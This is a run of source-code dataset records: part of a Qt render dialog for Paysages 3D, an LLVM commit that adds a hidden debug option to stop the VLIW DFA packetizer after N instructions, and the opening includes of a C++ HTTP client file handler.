Qt::WindowMaximizeButtonHint | Qt::WindowMinimizeButtonHint | Qt::WindowCloseButtonHint)\n{\n pixbuf_lock = new QMutex();\n pixbuf = new QImage(1, 1, QImage::Format_ARGB32);\n _current_dialog = this;\n _render_thread = NULL;\n _renderer = renderer;\n\n setModal(true);\n setWindowTitle(tr(\"Paysages 3D - Render\"));\n setLayout(new QVBoxLayout());\n\n _scroll = new QScrollArea(this);\n _scroll->setAlignment(Qt::AlignCenter);\n area = new RenderArea(_scroll);\n _scroll->setWidget(area);\n layout()->addWidget(_scroll);\n\n \/\/ Status bar\n _info = new QWidget(this);\n _info->setLayout(new QHBoxLayout());\n layout()->addWidget(_info);\n\n _timer = new QLabel(QString(\"0:00.00\"), _info);\n _info->layout()->addWidget(_timer);\n\n _progress = new QProgressBar(_info);\n _progress->setMaximumHeight(12);\n _progress->setMinimum(0);\n _progress->setMaximum(1000);\n _progress->setValue(0);\n _info->layout()->addWidget(_progress);\n\n \/\/ Action bar\n _actions = new QWidget(this);\n _actions->setLayout(new QHBoxLayout());\n layout()->addWidget(_actions);\n\n _actions->layout()->addWidget(new QLabel(tr(\"Tone-mapping: \"), _actions));\n _tonemapping_control = new QComboBox(_actions);\n _tonemapping_control->addItems(QStringList(tr(\"Uncharted\")) << tr(\"Reinhard\"));\n _actions->layout()->addWidget(_tonemapping_control);\n\n _actions->layout()->addWidget(new QLabel(tr(\"Exposure: \"), _actions));\n _actions->hide();\n _exposure_control = new QSlider(Qt::Horizontal, _actions);\n _exposure_control->setMinimumWidth(200);\n _exposure_control->setRange(0, 1000);\n _exposure_control->setValue(200);\n _actions->layout()->addWidget(_exposure_control);\n\n _save_button = new QPushButton(QIcon(getDataPath(\"images\/save.png\")), tr(\"Save picture\"), _actions);\n _actions->layout()->addWidget(_save_button);\n\n \/\/ Connections\n \/\/connect(this, SIGNAL(renderSizeChanged(int, int)), this, SLOT(applyRenderSize(int, int)));\n connect(this, SIGNAL(progressChanged(double)), this, SLOT(applyProgress(double)));\n connect(this, SIGNAL(renderEnded()), this, SLOT(applyRenderEnded()));\n connect(_save_button, SIGNAL(clicked()), this, SLOT(saveRender()));\n connect(_tonemapping_control, SIGNAL(currentIndexChanged(int)), this, SLOT(toneMappingChanged()));\n connect(_exposure_control, SIGNAL(valueChanged(int)), this, SLOT(toneMappingChanged()));\n}\n\nDialogRender::~DialogRender()\n{\n if (_render_thread)\n {\n rendererInterrupt(_renderer);\n _render_thread->wait();\n\n delete _render_thread;\n }\n delete pixbuf;\n delete pixbuf_lock;\n}\n\nvoid DialogRender::tellRenderSize(int width, int height)\n{\n emit renderSizeChanged(width, height);\n}\n\nvoid DialogRender::tellProgressChange(double value)\n{\n emit progressChanged(value);\n}\n\nvoid DialogRender::tellRenderEnded()\n{\n emit renderEnded();\n}\n\nvoid DialogRender::startRender(RenderParams params)\n{\n _started = time(NULL);\n\n applyRenderSize(params.width, params.height);\n rendererSetPreviewCallbacks(_renderer, _renderStart, _renderDraw, _renderUpdate);\n\n _render_thread = new RenderThread(this, _renderer, params);\n _render_thread->start();\n\n exec();\n}\n\nvoid DialogRender::applyRenderEnded()\n{\n _info->hide();\n _actions->show();\n\n area->update();\n}\n\nvoid DialogRender::saveRender()\n{\n QString filepath;\n\n filepath = QFileDialog::getSaveFileName(this, tr(\"Paysages 3D - Choose a filename to save the last render\"), QString(), tr(\"Images (*.png *.jpg)\"));\n if (!filepath.isNull())\n {\n if (!filepath.toLower().endsWith(\".jpg\") && !filepath.toLower().endsWith(\".jpeg\") && !filepath.toLower().endsWith(\".png\"))\n {\n filepath = filepath.append(\".png\");\n }\n if (renderSaveToFile(_renderer->render_area, (char*)filepath.toStdString().c_str()))\n {\n QMessageBox::information(this, \"Message\", QString(tr(\"The picture %1 has been saved.\")).arg(filepath));\n }\n else\n {\n QMessageBox::critical(this, \"Message\", QString(tr(\"Can't write to file : %1\")).arg(filepath));\n }\n }\n}\n\nvoid DialogRender::toneMappingChanged()\n{\n renderSetToneMapping(_renderer->render_area, (ToneMappingOperator)_tonemapping_control->currentIndex(), ((double)_exposure_control->value()) * 0.01);\n}\n\nvoid DialogRender::loadLastRender()\n{\n applyRenderSize(_renderer->render_width, _renderer->render_height);\n rendererSetPreviewCallbacks(_renderer, _renderStart, _renderDraw, _renderUpdate);\n renderEnded();\n toneMappingChanged();\n\n exec();\n}\n\nvoid DialogRender::applyRenderSize(int width, int height)\n{\n area->setMinimumSize(width, height);\n area->setMaximumSize(width, height);\n area->resize(width, height);\n _scroll->setMinimumSize(width > 800 ? 820 : width + 20, height > 600 ? 620 : height + 20);\n}\n\nvoid DialogRender::applyProgress(double value)\n{\n double diff = difftime(time(NULL), _started);\n int hours = (int)floor(diff \/ 3600.0);\n int minutes = (int)floor((diff - 3600.0 * hours) \/ 60.0);\n int seconds = (int)floor(diff - 3600.0 * hours - 60.0 * minutes);\n _timer->setText(tr(\"%1:%2.%3\").arg(hours).arg(minutes, 2, 10, QLatin1Char('0')).arg(seconds, 2, 10, QLatin1Char('0')));\n _progress->setValue((int)(value * 1000.0));\n _progress->update();\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/=- llvm\/CodeGen\/DFAPacketizer.cpp - DFA Packetizer for VLIW -*- C++ -*-=====\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ This class implements a deterministic finite automaton (DFA) based\n\/\/ packetizing mechanism for VLIW architectures. It provides APIs to\n\/\/ determine whether there exists a legal mapping of instructions to\n\/\/ functional unit assignments in a packet. The DFA is auto-generated from\n\/\/ the target's Schedule.td file.\n\/\/\n\/\/ A DFA consists of 3 major elements: states, inputs, and transitions. For\n\/\/ the packetizing mechanism, the input is the set of instruction classes for\n\/\/ a target. The state models all possible combinations of functional unit\n\/\/ consumption for a given set of instructions in a packet. A transition\n\/\/ models the addition of an instruction to a packet. In the DFA constructed\n\/\/ by this class, if an instruction can be added to a packet, then a valid\n\/\/ transition exists from the corresponding state. Invalid transitions\n\/\/ indicate that the instruction cannot be added to the current packet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"packets\"\n\n#include \"llvm\/CodeGen\/DFAPacketizer.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/CodeGen\/MachineInstrBundle.h\"\n#include \"llvm\/CodeGen\/ScheduleDAGInstrs.h\"\n#include \"llvm\/MC\/MCInstrItineraries.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\n\nusing namespace llvm;\n\n\/\/ --------------------------------------------------------------------\n\/\/ Definitions shared between DFAPacketizer.cpp and DFAPacketizerEmitter.cpp\n\nnamespace {\n DFAInput addDFAFuncUnits(DFAInput Inp, unsigned FuncUnits) {\n return (Inp << DFA_MAX_RESOURCES) | FuncUnits;\n }\n\n \/\/\/ Return the DFAInput for an instruction class input vector.\n \/\/\/ This function is used in both DFAPacketizer.cpp and in\n \/\/\/ DFAPacketizerEmitter.cpp.\n DFAInput getDFAInsnInput(const std::vector<unsigned> &InsnClass) {\n DFAInput InsnInput = 0;\n assert((InsnClass.size() <= DFA_MAX_RESTERMS) &&\n \"Exceeded maximum number of DFA terms\");\n for (auto U : InsnClass)\n InsnInput = addDFAFuncUnits(InsnInput, U);\n return InsnInput;\n }\n}\n\/\/ --------------------------------------------------------------------\n\nDFAPacketizer::DFAPacketizer(const InstrItineraryData *I,\n const DFAStateInput (*SIT)[2],\n const unsigned *SET):\n InstrItins(I), CurrentState(0), DFAStateInputTable(SIT),\n DFAStateEntryTable(SET) {\n \/\/ Make sure DFA types are large enough for the number of terms & resources.\n static_assert((DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) <=\n (8 * sizeof(DFAInput)),\n \"(DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) too big for DFAInput\");\n static_assert(\n (DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) <= (8 * sizeof(DFAStateInput)),\n \"(DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) too big for DFAStateInput\");\n}\n\n\n\/\/ Read the DFA transition table and update CachedTable.\n\/\/\n\/\/ Format of the transition tables:\n\/\/ DFAStateInputTable[][2] = pairs of <Input, Transition> for all valid\n\/\/ transitions\n\/\/ DFAStateEntryTable[i] = Index of the first entry in DFAStateInputTable\n\/\/ for the ith state\n\/\/\nvoid DFAPacketizer::ReadTable(unsigned int state) {\n unsigned ThisState = DFAStateEntryTable[state];\n unsigned NextStateInTable = DFAStateEntryTable[state+1];\n \/\/ Early exit in case CachedTable has already contains this\n \/\/ state's transitions.\n if (CachedTable.count(UnsignPair(state, DFAStateInputTable[ThisState][0])))\n return;\n\n for (unsigned i = ThisState; i < NextStateInTable; i++)\n CachedTable[UnsignPair(state, DFAStateInputTable[i][0])] =\n DFAStateInputTable[i][1];\n}\n\n\n\/\/ Return the DFAInput for an instruction class.\nDFAInput DFAPacketizer::getInsnInput(unsigned InsnClass) {\n \/\/ Note: this logic must match that in DFAPacketizerDefs.h for input vectors.\n DFAInput InsnInput = 0;\n unsigned i = 0;\n (void)i;\n for (const InstrStage *IS = InstrItins->beginStage(InsnClass),\n *IE = InstrItins->endStage(InsnClass); IS != IE; ++IS) {\n InsnInput = addDFAFuncUnits(InsnInput, IS->getUnits());\n assert((i++ < DFA_MAX_RESTERMS) && \"Exceeded maximum number of DFA inputs\");\n }\n return InsnInput;\n}\n\n\n\/\/ Return the DFAInput for an instruction class input vector.\nDFAInput DFAPacketizer::getInsnInput(const std::vector<unsigned> &InsnClass) {\n return getDFAInsnInput(InsnClass);\n}\n\n\n\/\/ Check if the resources occupied by a MCInstrDesc are available in the\n\/\/ current state.\nbool DFAPacketizer::canReserveResources(const llvm::MCInstrDesc *MID) {\n unsigned InsnClass = MID->getSchedClass();\n DFAInput InsnInput = getInsnInput(InsnClass);\n UnsignPair StateTrans = UnsignPair(CurrentState, InsnInput);\n ReadTable(CurrentState);\n return CachedTable.count(StateTrans) != 0;\n}\n\n\n\/\/ Reserve the resources occupied by a MCInstrDesc and change the current\n\/\/ state to reflect that change.\nvoid DFAPacketizer::reserveResources(const llvm::MCInstrDesc *MID) {\n unsigned InsnClass = MID->getSchedClass();\n DFAInput InsnInput = getInsnInput(InsnClass);\n UnsignPair StateTrans = UnsignPair(CurrentState, InsnInput);\n ReadTable(CurrentState);\n assert(CachedTable.count(StateTrans) != 0);\n CurrentState = CachedTable[StateTrans];\n}\n\n\n\/\/ Check if the resources occupied by a machine instruction are available\n\/\/ in the current state.\nbool DFAPacketizer::canReserveResources(llvm::MachineInstr &MI) {\n const llvm::MCInstrDesc &MID = MI.getDesc();\n return canReserveResources(&MID);\n}\n\n\n\/\/ Reserve the resources occupied by a machine instruction and change the\n\/\/ current state to reflect that change.\nvoid DFAPacketizer::reserveResources(llvm::MachineInstr &MI) {\n const llvm::MCInstrDesc &MID = MI.getDesc();\n reserveResources(&MID);\n}\n\n\nnamespace llvm {\n\/\/ This class extends ScheduleDAGInstrs and overrides the schedule method\n\/\/ to build the dependence graph.\nclass DefaultVLIWScheduler : public ScheduleDAGInstrs {\nprivate:\n AliasAnalysis *AA;\n \/\/\/ Ordered list of DAG postprocessing steps.\n std::vector<std::unique_ptr<ScheduleDAGMutation>> Mutations;\npublic:\n DefaultVLIWScheduler(MachineFunction &MF, MachineLoopInfo &MLI,\n AliasAnalysis *AA);\n \/\/ Actual scheduling work.\n void schedule() override;\n\n \/\/\/ DefaultVLIWScheduler takes ownership of the Mutation object.\n void addMutation(std::unique_ptr<ScheduleDAGMutation> Mutation) {\n Mutations.push_back(std::move(Mutation));\n }\nprotected:\n void postprocessDAG();\n};\n}\n\n\nDefaultVLIWScheduler::DefaultVLIWScheduler(MachineFunction &MF,\n MachineLoopInfo &MLI,\n AliasAnalysis *AA)\n : ScheduleDAGInstrs(MF, &MLI), AA(AA) {\n CanHandleTerminators = true;\n}\n\n\n\/\/\/ Apply each ScheduleDAGMutation step in order.\nvoid DefaultVLIWScheduler::postprocessDAG() {\n for (auto &M : Mutations)\n M->apply(this);\n}\n\n\nvoid DefaultVLIWScheduler::schedule() {\n \/\/ Build the scheduling graph.\n buildSchedGraph(AA);\n postprocessDAG();\n}\n\n\nVLIWPacketizerList::VLIWPacketizerList(MachineFunction &mf,\n MachineLoopInfo &mli, AliasAnalysis *aa)\n : MF(mf), TII(mf.getSubtarget().getInstrInfo()), AA(aa) {\n ResourceTracker = TII->CreateTargetScheduleState(MF.getSubtarget());\n VLIWScheduler = new DefaultVLIWScheduler(MF, mli, AA);\n}\n\n\nVLIWPacketizerList::~VLIWPacketizerList() {\n if (VLIWScheduler)\n delete VLIWScheduler;\n if (ResourceTracker)\n delete ResourceTracker;\n}\n\n\n\/\/ End the current packet, bundle packet instructions and reset DFA state.\nvoid VLIWPacketizerList::endPacket(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator MI) {\n if (CurrentPacketMIs.size() > 1) {\n MachineInstr &MIFirst = *CurrentPacketMIs.front();\n finalizeBundle(*MBB, MIFirst.getIterator(), MI.getInstrIterator());\n }\n CurrentPacketMIs.clear();\n ResourceTracker->clearResources();\n DEBUG(dbgs() << \"End packet\\n\");\n}\n\n\n\/\/ Bundle machine instructions into packets.\nvoid VLIWPacketizerList::PacketizeMIs(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator BeginItr,\n MachineBasicBlock::iterator EndItr) {\n assert(VLIWScheduler && \"VLIW Scheduler is not initialized!\");\n VLIWScheduler->startBlock(MBB);\n VLIWScheduler->enterRegion(MBB, BeginItr, EndItr,\n std::distance(BeginItr, EndItr));\n VLIWScheduler->schedule();\n\n DEBUG({\n dbgs() << \"Scheduling DAG of the packetize region\\n\";\n for (SUnit &SU : VLIWScheduler->SUnits)\n SU.dumpAll(VLIWScheduler);\n });\n\n \/\/ Generate MI -> SU map.\n MIToSUnit.clear();\n for (SUnit &SU : VLIWScheduler->SUnits)\n MIToSUnit[SU.getInstr()] = &SU;\n\n \/\/ The main packetizer loop.\n for (; BeginItr != EndItr; ++BeginItr) {\n MachineInstr &MI = *BeginItr;\n initPacketizerState();\n\n \/\/ End the current packet if needed.\n if (isSoloInstruction(MI)) {\n endPacket(MBB, MI);\n continue;\n }\n\n \/\/ Ignore pseudo instructions.\n if (ignorePseudoInstruction(MI, MBB))\n continue;\n\n SUnit *SUI = MIToSUnit[&MI];\n assert(SUI && \"Missing SUnit Info!\");\n\n \/\/ Ask DFA if machine resource is available for MI.\n DEBUG(dbgs() << \"Checking resources for adding MI to packet \" << MI);\n\n bool ResourceAvail = ResourceTracker->canReserveResources(MI);\n DEBUG({\n if (ResourceAvail)\n dbgs() << \" Resources are available for adding MI to packet\\n\";\n else\n dbgs() << \" Resources NOT available\\n\";\n });\n if (ResourceAvail && shouldAddToPacket(MI)) {\n \/\/ Dependency check for MI with instructions in CurrentPacketMIs.\n for (auto MJ : CurrentPacketMIs) {\n SUnit *SUJ = MIToSUnit[MJ];\n assert(SUJ && \"Missing SUnit Info!\");\n\n DEBUG(dbgs() << \" Checking against MJ \" << *MJ);\n \/\/ Is it legal to packetize SUI and SUJ together.\n if (!isLegalToPacketizeTogether(SUI, SUJ)) {\n DEBUG(dbgs() << \" Not legal to add MI, try to prune\\n\");\n \/\/ Allow packetization if dependency can be pruned.\n if (!isLegalToPruneDependencies(SUI, SUJ)) {\n \/\/ End the packet if dependency cannot be pruned.\n DEBUG(dbgs() << \" Could not prune dependencies for adding MI\\n\");\n endPacket(MBB, MI);\n break;\n }\n DEBUG(dbgs() << \" Pruned dependence for adding MI\\n\");\n }\n }\n } else {\n DEBUG(if (ResourceAvail)\n dbgs() << \"Resources are available, but instruction should not be \"\n \"added to packet\\n \" << MI);\n \/\/ End the packet if resource is not available, or if the instruction\n \/\/ shoud not be added to the current packet.\n endPacket(MBB, MI);\n }\n\n \/\/ Add MI to the current packet.\n DEBUG(dbgs() << \"* Adding MI to packet \" << MI << '\\n');\n BeginItr = addToPacket(MI);\n } \/\/ For all instructions in the packetization range.\n\n \/\/ End any packet left behind.\n endPacket(MBB, EndItr);\n VLIWScheduler->exitRegion();\n VLIWScheduler->finishBlock();\n}\n\n\n\/\/ Add a DAG mutation object to the ordered list.\nvoid VLIWPacketizerList::addMutation(\n std::unique_ptr<ScheduleDAGMutation> Mutation) {\n VLIWScheduler->addMutation(std::move(Mutation));\n}\n<commit_msg>[Packetizer] Add debugging code to stop packetization after N instructions<commit_after>\/\/=- llvm\/CodeGen\/DFAPacketizer.cpp - DFA Packetizer for VLIW -*- C++ -*-=====\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ This class implements a deterministic finite automaton (DFA) based\n\/\/ packetizing mechanism for VLIW architectures. It provides APIs to\n\/\/ determine whether there exists a legal mapping of instructions to\n\/\/ functional unit assignments in a packet. The DFA is auto-generated from\n\/\/ the target's Schedule.td file.\n\/\/\n\/\/ A DFA consists of 3 major elements: states, inputs, and transitions. For\n\/\/ the packetizing mechanism, the input is the set of instruction classes for\n\/\/ a target. The state models all possible combinations of functional unit\n\/\/ consumption for a given set of instructions in a packet. A transition\n\/\/ models the addition of an instruction to a packet. In the DFA constructed\n\/\/ by this class, if an instruction can be added to a packet, then a valid\n\/\/ transition exists from the corresponding state. Invalid transitions\n\/\/ indicate that the instruction cannot be added to the current packet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"packets\"\n\n#include \"llvm\/CodeGen\/DFAPacketizer.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/CodeGen\/MachineInstrBundle.h\"\n#include \"llvm\/CodeGen\/ScheduleDAGInstrs.h\"\n#include \"llvm\/MC\/MCInstrItineraries.h\"\n#include \"llvm\/Target\/TargetInstrInfo.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n\nusing namespace llvm;\n\nstatic cl::opt<unsigned> InstrLimit(\"dfa-instr-limit\", cl::Hidden,\n cl::init(0), cl::desc(\"If present, stops packetizing after N instructions\"));\nstatic unsigned InstrCount = 0;\n\n\/\/ --------------------------------------------------------------------\n\/\/ Definitions shared between DFAPacketizer.cpp and DFAPacketizerEmitter.cpp\n\nnamespace {\n DFAInput addDFAFuncUnits(DFAInput Inp, unsigned FuncUnits) {\n return (Inp << DFA_MAX_RESOURCES) | FuncUnits;\n }\n\n \/\/\/ Return the DFAInput for an instruction class input vector.\n \/\/\/ This function is used in both DFAPacketizer.cpp and in\n \/\/\/ DFAPacketizerEmitter.cpp.\n DFAInput getDFAInsnInput(const std::vector<unsigned> &InsnClass) {\n DFAInput InsnInput = 0;\n assert((InsnClass.size() <= DFA_MAX_RESTERMS) &&\n \"Exceeded maximum number of DFA terms\");\n for (auto U : InsnClass)\n InsnInput = addDFAFuncUnits(InsnInput, U);\n return InsnInput;\n }\n}\n\/\/ --------------------------------------------------------------------\n\nDFAPacketizer::DFAPacketizer(const InstrItineraryData *I,\n const DFAStateInput (*SIT)[2],\n const unsigned *SET):\n InstrItins(I), CurrentState(0), DFAStateInputTable(SIT),\n DFAStateEntryTable(SET) {\n \/\/ Make sure DFA types are large enough for the number of terms & resources.\n static_assert((DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) <=\n (8 * sizeof(DFAInput)),\n \"(DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) too big for DFAInput\");\n static_assert(\n (DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) <= (8 * sizeof(DFAStateInput)),\n \"(DFA_MAX_RESTERMS * DFA_MAX_RESOURCES) too big for DFAStateInput\");\n}\n\n\n\/\/ Read the DFA transition table and update CachedTable.\n\/\/\n\/\/ Format of the transition tables:\n\/\/ DFAStateInputTable[][2] = pairs of <Input, Transition> for all valid\n\/\/ transitions\n\/\/ DFAStateEntryTable[i] = Index of the first entry in DFAStateInputTable\n\/\/ for the ith state\n\/\/\nvoid DFAPacketizer::ReadTable(unsigned int state) {\n unsigned ThisState = DFAStateEntryTable[state];\n unsigned NextStateInTable = DFAStateEntryTable[state+1];\n \/\/ Early exit in case CachedTable has already contains this\n \/\/ state's transitions.\n if (CachedTable.count(UnsignPair(state, DFAStateInputTable[ThisState][0])))\n return;\n\n for (unsigned i = ThisState; i < NextStateInTable; i++)\n CachedTable[UnsignPair(state, DFAStateInputTable[i][0])] =\n DFAStateInputTable[i][1];\n}\n\n\n\/\/ Return the DFAInput for an instruction class.\nDFAInput DFAPacketizer::getInsnInput(unsigned InsnClass) {\n \/\/ Note: this logic must match that in DFAPacketizerDefs.h for input vectors.\n DFAInput InsnInput = 0;\n unsigned i = 0;\n (void)i;\n for (const InstrStage *IS = InstrItins->beginStage(InsnClass),\n *IE = InstrItins->endStage(InsnClass); IS != IE; ++IS) {\n InsnInput = addDFAFuncUnits(InsnInput, IS->getUnits());\n assert((i++ < DFA_MAX_RESTERMS) && \"Exceeded maximum number of DFA inputs\");\n }\n return InsnInput;\n}\n\n\n\/\/ Return the DFAInput for an instruction class input vector.\nDFAInput DFAPacketizer::getInsnInput(const std::vector<unsigned> &InsnClass) {\n return getDFAInsnInput(InsnClass);\n}\n\n\n\/\/ Check if the resources occupied by a MCInstrDesc are available in the\n\/\/ current state.\nbool DFAPacketizer::canReserveResources(const llvm::MCInstrDesc *MID) {\n unsigned InsnClass = MID->getSchedClass();\n DFAInput InsnInput = getInsnInput(InsnClass);\n UnsignPair StateTrans = UnsignPair(CurrentState, InsnInput);\n ReadTable(CurrentState);\n return CachedTable.count(StateTrans) != 0;\n}\n\n\n\/\/ Reserve the resources occupied by a MCInstrDesc and change the current\n\/\/ state to reflect that change.\nvoid DFAPacketizer::reserveResources(const llvm::MCInstrDesc *MID) {\n unsigned InsnClass = MID->getSchedClass();\n DFAInput InsnInput = getInsnInput(InsnClass);\n UnsignPair StateTrans = UnsignPair(CurrentState, InsnInput);\n ReadTable(CurrentState);\n assert(CachedTable.count(StateTrans) != 0);\n CurrentState = CachedTable[StateTrans];\n}\n\n\n\/\/ Check if the resources occupied by a machine instruction are available\n\/\/ in the current state.\nbool DFAPacketizer::canReserveResources(llvm::MachineInstr &MI) {\n const llvm::MCInstrDesc &MID = MI.getDesc();\n return canReserveResources(&MID);\n}\n\n\n\/\/ Reserve the resources occupied by a machine instruction and change the\n\/\/ current state to reflect that change.\nvoid DFAPacketizer::reserveResources(llvm::MachineInstr &MI) {\n const llvm::MCInstrDesc &MID = MI.getDesc();\n reserveResources(&MID);\n}\n\n\nnamespace llvm {\n\/\/ This class extends ScheduleDAGInstrs and overrides the schedule method\n\/\/ to build the dependence graph.\nclass DefaultVLIWScheduler : public ScheduleDAGInstrs {\nprivate:\n AliasAnalysis *AA;\n \/\/\/ Ordered list of DAG postprocessing steps.\n std::vector<std::unique_ptr<ScheduleDAGMutation>> Mutations;\npublic:\n DefaultVLIWScheduler(MachineFunction &MF, MachineLoopInfo &MLI,\n AliasAnalysis *AA);\n \/\/ Actual scheduling work.\n void schedule() override;\n\n \/\/\/ DefaultVLIWScheduler takes ownership of the Mutation object.\n void addMutation(std::unique_ptr<ScheduleDAGMutation> Mutation) {\n Mutations.push_back(std::move(Mutation));\n }\nprotected:\n void postprocessDAG();\n};\n}\n\n\nDefaultVLIWScheduler::DefaultVLIWScheduler(MachineFunction &MF,\n MachineLoopInfo &MLI,\n AliasAnalysis *AA)\n : ScheduleDAGInstrs(MF, &MLI), AA(AA) {\n CanHandleTerminators = true;\n}\n\n\n\/\/\/ Apply each ScheduleDAGMutation step in order.\nvoid DefaultVLIWScheduler::postprocessDAG() {\n for (auto &M : Mutations)\n M->apply(this);\n}\n\n\nvoid DefaultVLIWScheduler::schedule() {\n \/\/ Build the scheduling graph.\n buildSchedGraph(AA);\n postprocessDAG();\n}\n\n\nVLIWPacketizerList::VLIWPacketizerList(MachineFunction &mf,\n MachineLoopInfo &mli, AliasAnalysis *aa)\n : MF(mf), TII(mf.getSubtarget().getInstrInfo()), AA(aa) {\n ResourceTracker = TII->CreateTargetScheduleState(MF.getSubtarget());\n VLIWScheduler = new DefaultVLIWScheduler(MF, mli, AA);\n}\n\n\nVLIWPacketizerList::~VLIWPacketizerList() {\n if (VLIWScheduler)\n delete VLIWScheduler;\n if (ResourceTracker)\n delete ResourceTracker;\n}\n\n\n\/\/ End the current packet, bundle packet instructions and reset DFA state.\nvoid VLIWPacketizerList::endPacket(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator MI) {\n DEBUG({\n if (!CurrentPacketMIs.empty()) {\n dbgs() << \"Finalizing packet:\\n\";\n for (MachineInstr *MI : CurrentPacketMIs)\n dbgs() << \" * \" << *MI;\n }\n });\n if (CurrentPacketMIs.size() > 1) {\n MachineInstr &MIFirst = *CurrentPacketMIs.front();\n finalizeBundle(*MBB, MIFirst.getIterator(), MI.getInstrIterator());\n }\n CurrentPacketMIs.clear();\n ResourceTracker->clearResources();\n DEBUG(dbgs() << \"End packet\\n\");\n}\n\n\n\/\/ Bundle machine instructions into packets.\nvoid VLIWPacketizerList::PacketizeMIs(MachineBasicBlock *MBB,\n MachineBasicBlock::iterator BeginItr,\n MachineBasicBlock::iterator EndItr) {\n assert(VLIWScheduler && \"VLIW Scheduler is not initialized!\");\n VLIWScheduler->startBlock(MBB);\n VLIWScheduler->enterRegion(MBB, BeginItr, EndItr,\n std::distance(BeginItr, EndItr));\n VLIWScheduler->schedule();\n\n DEBUG({\n dbgs() << \"Scheduling DAG of the packetize region\\n\";\n for (SUnit &SU : VLIWScheduler->SUnits)\n SU.dumpAll(VLIWScheduler);\n });\n\n \/\/ Generate MI -> SU map.\n MIToSUnit.clear();\n for (SUnit &SU : VLIWScheduler->SUnits)\n MIToSUnit[SU.getInstr()] = &SU;\n\n bool LimitPresent = InstrLimit.getPosition();\n\n \/\/ The main packetizer loop.\n for (; BeginItr != EndItr; ++BeginItr) {\n if (LimitPresent) {\n if (InstrCount >= InstrLimit) {\n EndItr = BeginItr;\n break;\n }\n InstrCount++;\n }\n MachineInstr &MI = *BeginItr;\n initPacketizerState();\n\n \/\/ End the current packet if needed.\n if (isSoloInstruction(MI)) {\n endPacket(MBB, MI);\n continue;\n }\n\n \/\/ Ignore pseudo instructions.\n if (ignorePseudoInstruction(MI, MBB))\n continue;\n\n SUnit *SUI = MIToSUnit[&MI];\n assert(SUI && \"Missing SUnit Info!\");\n\n \/\/ Ask DFA if machine resource is available for MI.\n DEBUG(dbgs() << \"Checking resources for adding MI to packet \" << MI);\n\n bool ResourceAvail = ResourceTracker->canReserveResources(MI);\n DEBUG({\n if (ResourceAvail)\n dbgs() << \" Resources are available for adding MI to packet\\n\";\n else\n dbgs() << \" Resources NOT available\\n\";\n });\n if (ResourceAvail && shouldAddToPacket(MI)) {\n \/\/ Dependency check for MI with instructions in CurrentPacketMIs.\n for (auto MJ : CurrentPacketMIs) {\n SUnit *SUJ = MIToSUnit[MJ];\n assert(SUJ && \"Missing SUnit Info!\");\n\n DEBUG(dbgs() << \" Checking against MJ \" << *MJ);\n \/\/ Is it legal to packetize SUI and SUJ together.\n if (!isLegalToPacketizeTogether(SUI, SUJ)) {\n DEBUG(dbgs() << \" Not legal to add MI, try to prune\\n\");\n \/\/ Allow packetization if dependency can be pruned.\n if (!isLegalToPruneDependencies(SUI, SUJ)) {\n \/\/ End the packet if dependency cannot be pruned.\n DEBUG(dbgs() << \" Could not prune dependencies for adding MI\\n\");\n endPacket(MBB, MI);\n break;\n }\n DEBUG(dbgs() << \" Pruned dependence for adding MI\\n\");\n }\n }\n } else {\n DEBUG(if (ResourceAvail)\n dbgs() << \"Resources are available, but instruction should not be \"\n \"added to packet\\n \" << MI);\n \/\/ End the packet if resource is not available, or if the instruction\n \/\/ shoud not be added to the current packet.\n endPacket(MBB, MI);\n }\n\n \/\/ Add MI to the current packet.\n DEBUG(dbgs() << \"* Adding MI to packet \" << MI << '\\n');\n BeginItr = addToPacket(MI);\n } \/\/ For all instructions in the packetization range.\n\n \/\/ End any packet left behind.\n endPacket(MBB, EndItr);\n VLIWScheduler->exitRegion();\n VLIWScheduler->finishBlock();\n}\n\n\n\/\/ Add a DAG mutation object to the ordered list.\nvoid VLIWPacketizerList::addMutation(\n std::unique_ptr<ScheduleDAGMutation> Mutation) {\n VLIWScheduler->addMutation(std::move(Mutation));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ http_client_handler_file.cc\n\/\/\n\n#include \"plat_os.h\"\n#include \"plat_net.h\"\n\n#include <cassert>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <ctime>\n#include <cerrno>\n#include <csignal>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <functional>\n#include <deque>\n#include <map>\n#include <atomic>\n#include <memory>\n#include <thread>\n#include <mutex>\n#include <condition_variable>\n\n#include \"io.h\"\n#include \"url.h\"\n#include \"log.h\"\n#include \"socket.h\"\n#include \"socket_unix.h\"\n#include \"resolver.h\"\n#include \"config_parser.h\"\n#include \"config.h\"\n#include \"pollset.h\"\n#include \"protocol.h\"\n#include \"connection.h\"\n#include \"connection.h\"\n#include \"protocol_thread.h\"\n#include \"protocol_engine.h\"\n#include \"protocol_connection.h\"\n\n#include \"http_common.h\"\n#include \"http_constants.h\"\n#include \"http_parser.h\"\n#include \"http_request.h\"\n#include \"http_response.h\"\n#include \"http_date.h\"\n#include \"http_client.h\"\n#include 